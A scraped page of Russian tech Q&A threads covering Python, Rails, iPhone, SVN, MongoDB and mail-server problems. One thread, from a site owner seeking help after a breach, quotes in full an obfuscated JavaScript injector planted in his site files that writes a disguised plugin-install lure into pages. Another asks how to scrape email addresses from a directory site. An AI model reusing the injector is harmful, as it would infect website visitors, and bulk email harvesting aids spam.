    Вопросы по sqlalchemy

    1. Можно ли с помощью sqlalchemy получить названия столбцов БД и как-нибудь динамически ими оперировать (не задавая их непосредственно в классе, который мапится)

    2. Как, собственно, создавать/удалять/редактировать столбцы

    3. Есть у меня записи и тэги со связью многие-ко-многим через третью таблицу, например, как здесь. Как правильно написать класс для таблицы связей с учётом того, что там нет первичного ключа?

    Python   SQL    

    478   4   05:19, 24th August, 2020


    Что потребляет больше энергии на iPad/iPhone — 3G или Wi-Fi?

    Привет!


    Что потребляет больше энергии на iPad/iPhone — 3G или Wi-Fi? При прочих равных…


    Больше интересуют практические наблюдения, но и теория не помешает. :)

    iPhone   Wi-Fi   iPad    

    295   2   06:56, 6th August, 2020


    У каких украинских банков есть долларовые банкоматы?

    Спрашиваю не из праздного любопытства, очень нужно по работе, поскольку коллегам приходится выводить деньги в нац. валюте с большим минусом в виде обменных процентов…

    Платёжные   системы   WebMoney    

    372   5   22:38, 21st August, 2020


    Чат для клиентов?

    Нужен чат по такой схеме: клиент на сайте заходит в чат, где ему открывается отдельная чат-комната с сотрудником фирмы.

    Сотрудник должен иметь возможность переписываться с несколькими клиентами одновременно.


    Нашел только AliveChat, но он довольно дорогой — лайт версия $30 в месяц.

    Может, кто встречал решения, платные тоже интересуют.

    Просто чатов на AJAX видел кучу, они не подходят — мне нужен не групповой, а индивидуальный.

    Чаты   ActionScript    

    389   11   16:17, 24th August, 2020


    Как заставить PyQt работать с русскими доменами?

    Столкнулся с проблемой при работе с QUrl на питоне. В общих чертах имеем такой тестовый код:



    from PyQt4.QtCore import QUrl<br/>
    <br/>
    print QUrl('http://xn--d1abbgf6aiiy.xn--p1ai/').toString()<br/>




    Под windows он возвращает ожидаемый результат:

    <a href="http://xn--d1abbgf6aiiy.xn--p1ai/">xn--d1abbgf6aiiy.xn--p1ai/</a>




    А под FreeBSD такой:

    <a href="http://xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/">xn--d1abbgf6aiiy.xn--d1abbgf6aiiyxn--p1ai/</a>




    PyQt отсюда www.riverbankcomputing.co.uk/software/pyqt/download версии 4.8.1

    Python   PyQt    

    336   2   15:18, 1st August, 2020


    Rails. ActiveRecord. Ассоциации?

    Есть таблица Images. Как правильно сделать ассоциацию Images к самой себе, используя миграции? Как правильно назвать дополнительную связывающую таблицу? Что прописать в модели Image?

    Ruby   on   Rails    

    303   1   12:12, 27th August, 2020


    Установка QT для Python?

    На мой предыдущий вопрос к сожалению ответа не нашлось ни здесь ни на stackoverflow. Поэтому задумался о том как убедится что на сервере стоит последняя версия QT. Если я правильно понимаю PyQt это лишь набор привязок, и собственно самих библиотек там нет — только интерфейсы. В связи с чем вопрос — как правильно устанавливать QT и откуда, что бы все было последних версий? Для windows я просто скачал набор бинарников отсюда. Собственно я даже не знаю как узнать версию установленных библиотек :(



    P. S. И да на сервере стоит FreeBSD 8.0. Администратор говорит что установил PyQt-x11-gpl-4.8.1 но я не сильно ему верю.

    Python   PyQt    

    314   3   07:40, 8th August, 2020


    Ruby on Rails 3 — Ajax preloader?

    Добрый вечер! Подскажите rails way для создания ajax подгрузки контента страницы, например есть шаблон со списком продуктов, и пока он не подгрузился показываем индикатор загрузки. Спасибо за ответы!

    AJAX   Ruby   on   Rails    

    325   2   21:06, 1st October, 2020


    Задержка в ActionScript 3 без таймера?

    Задача: необходимо реализовать задержку в N секунд в ActionScript 3

    Проблема: в этот момент меняется системное время (сдвигается на несколько часов назад или вперед) и таймер не вызывает эвент в нужное время.

    Как реализовать?

    ActionScript    

    410   3   11:23, 2nd August, 2020


    Замена аккумулятора на iPhone 3G?

    Добрый день.

    Последнее время стал слишком быстро разряжаться аккумулятор на моём iPhone 3g (3.7 V 1150 mA·h), и соответственно захотелось произвести его замену. В интернете нашел массу объявлений о продаже новых батарей. Раз уж придётся производить замену, то хотелось бы, по возможности, установить более мощный аккумулятор, например от 3GS (3.7 V 1219 mA·h)

    Не навредит ли такая замена самому аппарату и на какие моменты стоит обратить внимание при выборе батареи?

    iPhone   Аккумуляторные   батареи    

    348   3   09:14, 21st August, 2020


    Какие есть каталоги полезных gems/plugins для Rails 3

    Хотелось бы, чтобы под рукой был список всех полезных гемов для рельсов, но сколько не смотрю, те сайты что видел они содержат или очень старые плагины или это www.railsplugins.org/, который только сообщает что работает под рельсы 3.

    Есть ли такой сайт, где были б собраны все нужные гемы и при этом достаточно понятно каталогизированы, чтоб можно было легко найти гем, который подходит под выбранную задачу.

    Спасибо.

    Ruby   on   Rails   Ruby   gems    

    252   1   09:27, 8th August, 2020


    Как проще сделать онлайн-конструктор товара для интернет-магазина?

    Готовлю к запуску интернет-магазин, и хочется в него встроить онлайн-конструктор товара на подобии этого. Есть ли уже готовые решения, флеш-исходники или скрипты, которые легко было бы редактировать человеку, не знающему флеш и ActionScript?

    ActionScript   Интернет-магазины   Adobe   Flash    

    297   1   04:16, 15th August, 2020


    Подскажите алгоритм разблокировки iPhone 3gs

    Всучили мне айфон 3gs, с которым, по косвенным данным, был сделан апдейт прошивки. Видимо до 4.2

    Предыстория айфона мне не известна, но похоже купили его не в России. Может быть а США.

    Теперь на экране красуется логотип «подключите меня к айтюнсу» и отображается IMEI и ICCID.
    При подключении к айтюнсу требует вставить оригинальную симкарту.

    Чего можно сделать и в какой последовательности?
    У меня даже AT&T микросимка есть, но она именно микросимка.

    P.S. не знаю как узнать версию модема и всего остального.

    iPhone    

    287   3   12:11, 21st August, 2020


    Парсинг, Jquery, Userscript

    Благодаря этой статье познакомился с написанием userscripts на jquery. Сделал два работающий скрипта по вытягиванию нужных мне имейлов, а на третьем примере почему-то не работает.

    Страница для парсинга: www.gapa.de/_gastgeberliste/ (Выбрать любой Unterkunftsart и нажать на кнопку Finden)
    Скрипт: efrolov.ru/gapa/gapa.user.js

    Задача: Вытянуть имейлы с каждой страницы.

    Проблема: Jquery не может обратиться к классу. То есть так могу добавить $("#footer").append(' hello!');,
    а вот так уже не работает: $(".ukresultheader").append(' hello!');

    Кто-нибудь может подсказать почему не работает?

    jQuery   Greasemonkey   Парсинг   Userscript    

    410   4   21:38, 12th August, 2020


    Интересна ли кому-нибудь статья про кроссплатформенную разработку на .NET и Mono?

    Коллеги, есть интересный опыт разработки, тестирования и деплоймента веб-приложения с использованием .NET 3.5/Mono 2.8.1/Flex, можно осветить следующие вопросы:

    • Настройка проектов в IDE: VS 2008/ IDEA 9.x / MonoDevelop 2.4
    • Управление конфигурациями — debug, staging, production
    • Полуавтоматический деплоймент
    • Развертывание и базовое конфигурирование связки mono 2.8.1, mod_mono, apache2, nginx под Ubuntu



    Если достаточно заинтересованных наберется, напишу детальную статью.

    Linux   Mono   .NET   IntelliJ   IDEA   Кроссплатформенность    

    281   9   17:36, 10th August, 2020


    Редактор с подсветкой для JSON

    Подскажите какой-нибудь редактор, в котором удобно просматривать JSON.

    Под «удобно» я имею в виду:

    1) Автоматическая разбивка и отображение в виде иерархии (даже если я открыл файл, где все записано в одну строку).
    2) Подсветка (хотя бы минимальная, скобочки там).

    Есть плагин для Лисы, но хотел бы использовать standalone решение или хотя бы web-тулзу.

    JavaScript   JSON    

    356   1   21:06, 1st October, 2020


    Посоветуйте книжку по Python

    День добрый.

    Заглянул на ozon и amazon с целью найти книжку по Python. Предложений много. Книги дорогие.
    Не знаю, что и покупать. Посоветуйте, пожалуйста. Желательно, чтобы книга была заточена под программирование на питоне под веб.

    Спасибо.

    Python    

    312   6   02:27, 7th August, 2020


    Как организовать синхронизацию очень разных данных?

    Что хочется:

    Иметь автоматическую\полуавтоматическую синхронизацию файлов со следующими характеристиками:
    • Синхронизация как автоматическая (через интернет) так и вручную (через флешку) \ полуавтоматически (через локалку).
    • Копия части данных хранится в интернет сторадже ( бесплатное, хотя бы 3 гига), полная копия хранится на флешке (16 гигов).
    • Синхронизируемые каталоги могут находится в произвольном месте (кроме вложенности друг в друга).
    • Хорошая работа с каталогами содержащими проекты под SVN и Mercurial.
    • 3-4 машины с разными возможностями синхронизации — машина с анлим интернетом, с дорогим интернетом (т.е. через флешку большие объемы предпочтительней), ноутбук который оказывается в одной сети с первой. В некоторых случаях — не все папки нужны на каждой машине.
    • Достаточно только под Win
    • Было бы идеально если можно было бы синхронизировать историю SVN и Hg
    • Если где-то что-то ломается или неправильно обновляется — можно сделать откат с рабочей\бэкапной флешки, сказав принудительно — «при сравнении такого каталога — файлы на флешке приоритетнее.»


    Что есть сейчас:

    Синхронизация через 2 утилиты: LiveMesh и SyncToy


    LiveMesh умеет — синхронизация через интернет хранилище (5 гигов) и через локалку\wifi (нет ограничений). Все более-менее автоматически.

    Что делает плохо — конфликты убираются в корзину, вариаций не дается. Плохо отрабатывает по SVN (ломает репозиторий), HG +SVN даже страшно пробовать. Синхронизация только целиком, не диффы, т.е. траффик жрет сильно.


    SyncToy: Ручная дрезина — все каталоги задаем руками, синхронизация запускается руками.

    Что делает плохо — не самый продуманный алгоритм удаления — перед удалением каталога — удалит в индивидуальном порядке каждый файл в нем. Фильтры на игнор настраиваются по индивидуальному абсолютному пути и нет маски. Ломает SVN. Очень много файлов вызывают ступор или краш ( видимо или течет память или неоптимальное использование — забивается все)


    Пробовал дропбокс — мало места в инете (бесплатного), хранилище только в одном каталоге (MyDropbox), не умеет по сети (из вкусностей — история как SVN).

    Рассматривал вопрос c RSync, не понравилось что надо много всего писать вручную.


    Есть сильные сомнения что все это будет хорошо работать с SVN\Hg при таком тупом синхронизировании.

    Немного изучал вопрос mercurial<->Svn — консолька вместо автоматического гуя пока не устраивает и слишком много ручной работы для написания батчей ( может я не в курсе и уже есть нормальные решения ?).

    Собственно вопрос:

    Может кто посоветует полную или частичную замену данной схемы. или хотя бы нормальную работающую схему с синхронизацией snv\hg, без обилия ручной работы.

    Готов даже делать отдельную синхронизацию файлов (тут SyncToy работает вполне нормально) и синхронизацию проектов (commit в 2 разные системы, копия в инете (bitbucket) на флешке) разнести.

    CVS   Синхронизация   данных   Subversion   Mesh   Mercurial    

    275   3   16:40, 22nd August, 2020


    Amazon Kindle: (wifi + 3G) vs wifi

    Имеет ли смысл брать вариант с 3G за лишние 50$?
    Я собираюсь брать через ebaytoday. У них есть офис в америке, на который они заказывают. Будет ли в этом случае у меня, в России, бесплатный 3G?

    У кого-нибудь уже есть опыт использование kindle, поделитесь оправданны ли 50$ на 3G?

    Amazon   Kindle   Мобильная   связь    

    331   6   07:30, 26th August, 2020


    Actionscript компилятор MTASC и Event'ы

    В actionscript я не силён, прошу по возможности помочь.

    Как заставить работать в скомпиленых приложениях какие-нибуть netEvent, пример от макромедиа в моём случае почуму-то не работает:

    var nc:NetConnection = new NetConnection();
    nc.connect(null);
    var ns:NetStream = new NetStream(nc);

    ns.onMetaData = function(infoObject:Object) {
    for (var propName:String in infoObject) {
    trace(propName + " = " + infoObject[propName]);
    }
    };

    ns.play("http://www.helpexamples.com/flash/video/water.flv");

    Ни один из ивентов не срабатывает, должно возвращать метаинфу но ничего не возвращает.

    ActionScript    

    316   1   21:06, 1st October, 2020


    Установка библиотеки PIL с поддержкой JPEG под Snow Leopard?

    Проблема в следующем: не ставится PIL с поддержкой JPEG. Библиотеку libjpeg установил через macport:



    sudo python setup.py build

    running build

    running build_py

    running build_ext

    — using frameworks at /System/Library/Frameworks

    — PIL 1.1.7 SETUP SUMMARY

    — version 1.1.7

    platform darwin 2.7 (r27:82508, Jul 3 2010, 21:12:11)

    [GCC 4.0.1 (Apple Inc. build 5493)]

    — — TKINTER support available

    — JPEG support available

    — ZLIB (PNG/ZIP) support available

    — FREETYPE2 support available

    — LITTLECMS support available

    — To check the build, run the selftest.py script.

    running build_scripts



    — JPEG support available — типа все ОК, библиотека стоит



    Устанавливаю, делаю

    python selftest.py

    — PIL 1.1.7 TEST SUMMARY

    — Python modules loaded from ./PIL

    Binary modules loaded from ./PIL

    — — PIL CORE support ok

    — TKINTER support ok

    *** JPEG support not installed

    — ZLIB (PNG/ZIP) support ok

    — FREETYPE2 support ok

    — LITTLECMS support ok

    — Running selftest:

    *****************************************************************

    Failure in example:

    try:

    _info(Image.open(os.path.join(ROOT, «Images/lena.jpg»)))

    except IOError, v:

    print v

    from line #24 of selftest.testimage

    Expected: ('JPEG', 'RGB', (128, 128))

    Got: decoder jpeg not available

    1 items had failures:

    1 of 57 in selftest.testimage

    ***Test Failed*** 1 failures.

    *** 1 tests of 57 failed.



    Говорит что JPEG support not installed и естественно не работает.



    Предварительно PIL удалял и ставил по-новой, результат тот же.



    Кто-нибудь сталкивался с такой проблемой?

    Python    

    378   1   14:11, 11th August, 2020


    Оплата товаров в Amazon?

    Подскажите пластиковыми картами каких банков (российских) можно беспроблемно оплатить товары в Amazon'е.

    Платёжные   карты   Amazon    

    350   10   11:07, 13th August, 2020


    Приложение для изучения новых слов в айфоне?

    Подскажите хорошее приложение для айфоне которое реализует карточный метод изучения слов.


    Основные требования:


    * Поддержка своего списка слов

    * Встроеный или онлайновый словарь (чтобы переводы самому не писать)


    Заранее спасибо



    Изменить текст кнопки action script 2

    Имеется Adobe Flash Pro CS5. Есть кнопка butt7 как изменить текст на кнопке(label)?
    butt7.text = "ТЕКСТ НА КНОПКЕ";
    не работает

    Adobe   ActionScript    

    350   1   01:14, 15th August, 2020


    Взлом сайтов. Вставлен произвольный код?

    Добрый день!


    На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.


    Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
    <pre><code class="javascript">&lt;sc!ript type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
    wkllp=&quot;33933333339999333999339939993933
    399993393993993339933939339333333999393339999339399933333
    993393933999939339333933999393339933939399993333999393333
    939999399333993999339939993399339333933399999333933399399
    939333993393939993339399339333993939933933333399993993999
    399939939339399339333999393339939333339993933393333333993
    333399933333999933333999399399393333993393939939339399339
    993993933339993933339993933393333333993333399933333999933
    333999399399339933999339339933339399399393993393939933393
    399399993999339339933933399339393999339333999393339333333
    993999339939999339993993999399339939339399933993993933939
    933393399393393993993339939339399939333999933933999393339
    333333993933339939339399339333993393339933939399399933399
    939939999939339999333393999939993399399939333999933939939
    933399339393399999333999933399393393993399339993393399333
    393993993939933939339333333993933939933933339999393393339
    339993933399339393999333939933933399393993393339333933333
    399933993999339339933399339999393393339339939333399939333
    999393339993333339993933393999933939999399339933999399939
    993339399933393999399939933939399339393999339339933999339
    933993393999339933399399399993393999339933399399333993393
    999939933339399339333393999339939393399933333993399933933
    393339999933399993333939999399393393993399339993393399333
    39399399393993393933999993&quot;;znanx=100;wdlgs=this;nsjvu=&quot;i&quot;+&quot;te&quot;;
    vurba=116;nqcs=&quot;wr&quot;+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 && 
    gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o=&quot;&quot;;
    imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf&lt;wkllp.length){
    bnehf=0;for(mkrku=0;mkrku&lt;8;mkrku++){bnehf=bnehf&lt;&lt;1;if(
    wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
    qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}&lt;/sc!ript&gt;



    Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.


    В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).


    Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
    Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
    Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
    Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
    <br/>
    Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
    Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
    Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
    Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.



    SSH закрыт фаерволом для всех, кроме меня.


    Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?

    Защита   от   взлома   ActionScript   Журналирование    

    342   13   04:16, 20th August, 2020


    Сервисы для отправления и получения сайтом sms/mms?

    Каким образом можно организовать отправление и, что самое важное, получение sms и mms сайтом?


    Есть sms.ru, но он может только отправлять и только sms.

    SMS   ActionScript    

    446   5   05:08, 4th August, 2020


    JSON не работает в PHP?

    Здравствуйте, уважаемое хабрасообщество.

    У меня возникла проблема, очень надеюсь, что нам ее удастся решить.


    А проблема заключается в том, что функции json_encode() и json_decode() у меня на хостинге не работают.


    При обычном использовании возникает ошибка:

    Fatal error: Call to undefined function json_encode() in ***.php



    При использовании хелпера для Code Igniter, возникает ошибка:

    Message: Undefined variable: json

    Filename: helpers/json_helper.php

    Line Number: 53

    Fatal error: Call to a member function encode() on a non-object in ...\system\application\helpers\json_helper.php on line 53

    CodeIgniter   JSON    

    390   7   13:01, 6th August, 2020


    Сбор денежных средств в поддержку ресурса?

    В одном из некоммерческих проектов хотелось бы организовать donations. С помощью чего резиденту РФ (paypal в пролете?) можно это сделать? В идеале хотелось бы множество разных способов внесения средств, чтобы люди из других стран могли присоединиться.

    Т.е. цель — быть доступным для сбора средств НЕ только локально (в данном случае только в России).

    Есть какие-нибудь варианты? Заранее спасибо за ответы :)

    Donations    

    255   4   06:18, 4th August, 2020


    python, json

    Вопрос такой, получаю json от google translate а он не хочет парситься.
    Что делаю не так?
    res = urllib2.urlopen(request).read()
    data = json.loads(res)


    выдает следующее
    Traceback (most recent call last):
    File "./translate.py", line 27, in data = json.loads(res)
    File "/usr/lib/python2.6/json/__init__.py", line 307, in loads
    return _default_decoder.decode(s)
    File "/usr/lib/python2.6/json/decoder.py", line 319, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
    File "/usr/lib/python2.6/json/decoder.py", line 336, in raw_decode
    obj, end = self._scanner.iterscan(s, **kw).next()
    File "/usr/lib/python2.6/json/scanner.py", line 55, in iterscan
    rval, next_pos = action(m, context)
    File "/usr/lib/python2.6/json/decoder.py", line 219, in JSONArray
    raise ValueError(errmsg("Expecting object", s, end))
    ValueError: Expecting object: line 1 column 158 (char 158)

    если сделать print(res) то выводит:
    [[["привет","hi","privet",""]],[["abbreviation",["Гавайи"]],["interjection",["привет","эй","ну","салют","здор `ово"]]],"en",,[["привет",[5],1,,1000,0,1,0]],[["hi",4,,,""],["hi",5,[["привет",1000,1,]],[[0,2]],"hi"]],,,,21]

    Python   JSON    

    273   3   13:15, 27th August, 2020


    Как утихомирить кулер на процессоре?

    Я привык смотреть видео на айфоне с помощью программки Air Video. Работает она следующим образом. «Серверная» часть стоящая на ПК вживую конвертирует видео в MP4 и по WiFi транслирует его на телефон. Все замечательно работает и устраивает меня за исключением завываний системного блока. Система основана на материнской плате Gigabyte GA-P35-DS3L.

    Можно ли как-нибудь повысить порог выхода кулера на высокие обороты или как-то оптимизировать его работу. Работает он ужасно, секунд на пять начинает выть потом на 10 утихает, и все повторяется снова.

    iPhone   Материнские   платы   Шумоподавление    

    322   8   02:50, 15th August, 2020


    Настройка Rails под Apache

    Всем привет.
    Поставил rvm, всё отлично. Сделал rails new example.

    Дальше, по идее, надо кинуть .htacces в public с примерно таким содержанием:

    AddHandler fcgid-script .fcgi
    RewriteEngine On
    RewriteRule ^$ index.html [QSA]
    RewriteRule ^([^.]+)/!$ $1.html [QSA]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
    ErrorDocument 500 "Application error Application failed to start properly"


    И прописать /public как DocumentRoot.

    Но проблема вот в чем: dispatch.fcgi (и dispatch.cgi тоже) отсутсвуют. Где их взять?

    Софт: Ubuntu Server 10.04 64-bit, Ruby 1.9.2, Rails 3.0.3 и вмеру кривые руки.

    Ruby   on   Rails    

    272   1   07:06, 12th August, 2020


    SVN: как сравнить рабочую копию с репозиторием?

    Мне бы хотелось видеть только список файлов, которые изменены, добавлены и т. д., а не само то, что было изменено (svn diff) в сравнении с заданной ревизией.


    svn diff -r HEAD вывалиает тонны информации, которую сложно переварить.


    svn status показывает только изменения относительно оригинального варианта данной рабочей копии (т. е. не относительно какой-то ревизии в репозитории).


    svn update не поддерживает --dry-run


    В общем, мне нужно что-то похожее на svn status, но сравнивающее текущую рабочую копию с ревизией репозитория (я хочу сравнивать с головной).


    Сколько листал ман по SVN, никак не могу найти решение :-/

    CVS   Subversion   Системы   контроля   версий    

    341   2   08:09, 23rd August, 2020


    Система мониторинга для ec2 linux инстансов

    Нужна система мониторинга (и, желательно, оповещения), вроде zabbix, которая может автоматически добавлять сервера для мониторинга:
    используется auto-scale фича Amazon ec2, потому новые сервера появляются сами из одного и того же ami. Необходимо, чтобы новые сервера централизированно мониторились до момента их уничтожения, что происходит автоматически.

    Какие системы с такими возможностями вы можете посоветовать?

    Amazon   Web   Services    

    301   2   09:37, 17th August, 2020


    Как разрешить расхождения гайдлайнов мобильной платформы и бренд буков заказчика?

    Вопрос от пользователя chakravaat, который не может его опубликовать в виду реал лайфа :)

    Как разрешить расхождения гайдлайнов мобильной платформы (Android, iOS, Windows Phone 7) и корпоративных бренд буков заказчика?

    К примеру, в гайдлайне Windows Phone 7 написано, что при изменении цветовой схемы телефона, цвета приложения должны соответственно изменяться. А у заказчика ест фирменные цвета, которые он хотел бы видеть в приложении. Был ли у кого-нибудь опыт решения подобных проблем. Гугл не ответил.

    Windows   Phone    

    353   1   14:27, 8th August, 2020


    Можно ли в Mono Develop для Mac писать GUI приложения под него же на C#?

    Версия mono 2.4.2

    Создаю новый solution -> C# проект. Смотрел документацию на офе, там видимо под линукс, т.к. нет ни дизайнера ни файлов вообще…

    Mono   macOS   C#    

    352   1   00:02, 2nd August, 2020


    Общение с http-прокси через сокеты на Python?

    Проблема проста — хочу передать POST-запрос через http-прокси в Python на сокетах, но или возникают различные ошибки SocketError, или код просто зависает на передаче (send/sendall) или приёме (recv/recvall) данных.



    Скажите, в чём причина такого поведения (или, даже лучше, посоветуйте рабочий вариант)?

    Python   Proxy    

    338   2   22:11, 25th August, 2020


    Clonezilla, восстановление образа на большую партицию?

    Hola!


    Есть вопрос касательно Clonezilla

    Как восстанавливать образ на весь диск?

    Допустим у меня есть образ, снятый с диска 40гб, есть новый комп с хардом в 80гб.

    Как развернуть этот образ на весь диск, что бы итоговая партиция была 80гб.

    Если это возможно конечно.

    Документация   Clonezilla    

    369   3   07:52, 8th August, 2020


    Как ограничить количество воркеров MongoDB?

    Собственно, процесс mongod очень сильно параллелится, что обычно хорошо, но в моем случае начинает жрать всю память и от большой нагрузки иногда падает. Нужно как-то ограничить количество воркеров (или тред пул, что там у него), чтобы, скажем, больше 5 никогда не создавал и ставил остальных в очередь. Не могу найти параметр настройки.



    А то получается вот так и сильно прожорливо:

    mongaa.png

    Хотелось бы умерить пыл.

    MongoDB   Debian    

    315   3   20:19, 23rd August, 2020


    "Пробная" разработка под iPhone

    День добрый!
    Терзаю себя таким вопросом. Хочу попробовать написать что-нибудь под iPhone. МакОСи у меня нет. Покупать смысла тоже нет, а то, вдруг, окажется, что «не мое» это.
    Один из вариантов — поставить Хакинтош на свой PC. Рассматриваю его как резервный.
    Какие еще бывают варианты?



    NoSQL СУБД для веб-сервера на VDS

    Навеяно ответами к этому вопросу. Оказывается для MongoDB крайне желательно выделять отдельный сервер, т. к. память он отдавать не желает., что может быть чревато для других приложений.

    В связи с этим вопрос — какую СУБД лучше поставить, чтобы её аппетиты до памяти можно было ограничивать. Желательно максимально близкую к Mongo, то есть свободная схема объектов/документов, но с разделением их на коллекции.

    Спасибо.

    Upd.: OS — Debian 6.0, nginx+php-fpm+passenger+mysql

    NoSQL   MongoDB    

    370   5   23:20, 9th August, 2020


    Библиотека для построения time series графиков по большому объему данных?

    Порекомендуйте C/C++/Python библиотеку для построения time series графиков так же просто, как это позволяет делать dygraphs, но значительно быстрее. Объем данных большой — миллионы записей, время по оси X — с точностью до миллисекунды.

    Python   C   Инфографика   C++    

    376   1   22:42, 18th August, 2020


    Книга "Python в системном администрировании UNIX и Linux"

    image
    www.ozon.ru/context/detail/id/4220809/

    Кто-то читал?
    Сейчас ищу хорошую литературу по Python. Интересует разработка несложных приложений для автоматизации рутинных админских задач (мониторилки, бекапы, парсинг логов). Грубо говоря, как использовать python в качестве более продвинутой альтернативы bash-скриптов.
    Желательно побольше примеров.

    По названию книга подходит идеально, но отзывы о ней какие-то печальные.
    Может кто-то подбодрит хорошими отзывами, или посоветует что-то более толковое.

    Python   Книги    

    414   4   07:15, 8th August, 2020


    Почта mail.com на iphone — отправка писем

    У меня два почтовых ящика — mail.com и yahoo.com, пользуюсь ими через почтовую программу в айфоне.
    Оба ящика бесплатные.
    Письма получаю, а отправить почту с помощью mail.com с айфона не могу — выдается сообщение о том, что «сервер не поддерживает ретрансляцию» и мое письмо остается висеть в исходящих.
    С yahoo проблем нет и с компьютера письма из ящика на mail.com отправляются.
    Читаю про ретрансляцию, не очень представляю себе, как ее увязать с отказом отправки писем и что с этим делать.

    Пожалуйста дайте совет, как устранить проблему.

    Upd: Пошла в настройки mail.com, увидела, что пересылка и pop позиционируется как возможность для владельцев premium mail.
    Купила premium mail — все равно не отправляются письма.

    Upd2: Решение найдено!
    Возможно, будет кому-то полезно, т.к. решения этой проблемы я не нашла в интернете.

    Решила снести эту учетную запись в app.Mail и завести заново.
    При получении подтверждения сервера увидела, что imap там America OnLine — то есть AOL!
    Завела учетную запись в app.Mail как AOL, только логин указывала везде @mail.com.
    Все заработало, письма отправляются, ура!
    Теперь подожду, пока закончится премиум-аккаунт и проверю, будет ли работать отправка на бесплатном ящике.
    Что касается настроек, на mail.com указаны сервера imap.mail.com и pop.mail.com, об AOL не упоминается.
    И если действовать по инструкции на сайте — отправка писем не работает.

    iPhone   Электронная   почта    

    372   2   11:41, 7th August, 2020


    Не планирует ли amazon ввести фичу: бесплатная электронная версия в подарок к печатному варианту книги?

    Искал вышла ли Spring in Action 3rd edition и наткнулся на сайте manning на интересное предложение www.manning.com/walls4/. Купив у них книгу в бумажном варианте, электронный получаешь бесплатно.

    Электронные   книги   Amazon    

    261   3   07:09, 13th August, 2020


    система тегов на MongoDB

    Можно ли из документов вида
    {...,
        tags: ['php','nosql',...]
    }


    … выбирать все уникальные значения массива tags одним запросом?

    NoSQL   MongoDB    

    403   3   18:46, 16th August, 2020


    Как обменять один раз без головной боли идентификации кошелька деньги на Вебмани

    В украине яндекс.деньги можно сказать бесполезны. Как мне себе помочь?

    Яндекс   Яндекс.Деньги   WebMoney    

    303   2   21:49, 3rd August, 2020


    SVN: удалить файл из версионного контроля

    Но не из рабочей копии.

    Такое возможно?

    Команда svn delete (svn rm), насколько я понял по руководству по SVN, подготавливает файл к удалению, а затем при up-е обязательно удаляет так же файл из рабочей копии.

    Можно ли сделать так, чтобы SVN просто начал игнорировать конкретные файлы? (удалил их из репозитория, но не затрагивал их при этом в рабочих копиях)

    CVS   Subversion    

    397   5   08:19, 20th August, 2020


    Что можно использовать для построения "цепочок друзей" кроме mongodb?

    Взял за основу habrahabr.ru/blogs/nosql/88246/ и потихоньку начал делать свою реализацию с помощью mongodb. Но недавно узнал из habrahabr.ru/qa/4735/ что mongodb может «отожрать» всю память на сервере и не отдавать её и вообще не заточен для использования на одном сервере (каюсь, как обычно, плохо читал документацию). Что можно использовать на небольшом проекте (18000 пользователей, 250 онлайн в пике)?.. Желательно что бы у дб было расширение для php.

    MongoDB    

    310   4   14:51, 2nd October, 2020


    IPhone и почтовый сервер с шифрованием?

    Настроил в организации, в которой сейчас работаю, почтовый сервер (с Б&Ш, как полагается). Проблема в том, что с ним прекрасно работают все известные мне адекватные почтовые клиенты (Thunderbird, Evolution, Roundcube), но не работает iPhone.


    Конфигурация такая:

    SMTP — Postfix 2.7 с авторизацией и обязательным TLS шифрованием:

    smtpd_use_tls = yes

    smtpd_tls_auth_only = yes


    Ок, на попытку приконнектиться по 25 порту со включённым SSL iPhone мне бодро сообщил, что мой сервер не поддерживает авторизацию (!). Краткий гуглёж показал, что проверка доступных способов подключения к серверу у iPhone тупая, как у кирпича, поэтому на 25 порту он ни в жизнь не приконнектиться. Ладно, не проблема — перенастроил сервер, активировал 587 порт и вот оно чудо: iPhone с абсолютно теми же параметрами без всяких ошибок смог соединиться с сервером. Как номер порта влияет на авторизацию и шифрование — ума не приложу, сервер по обоим портам работает идентично.


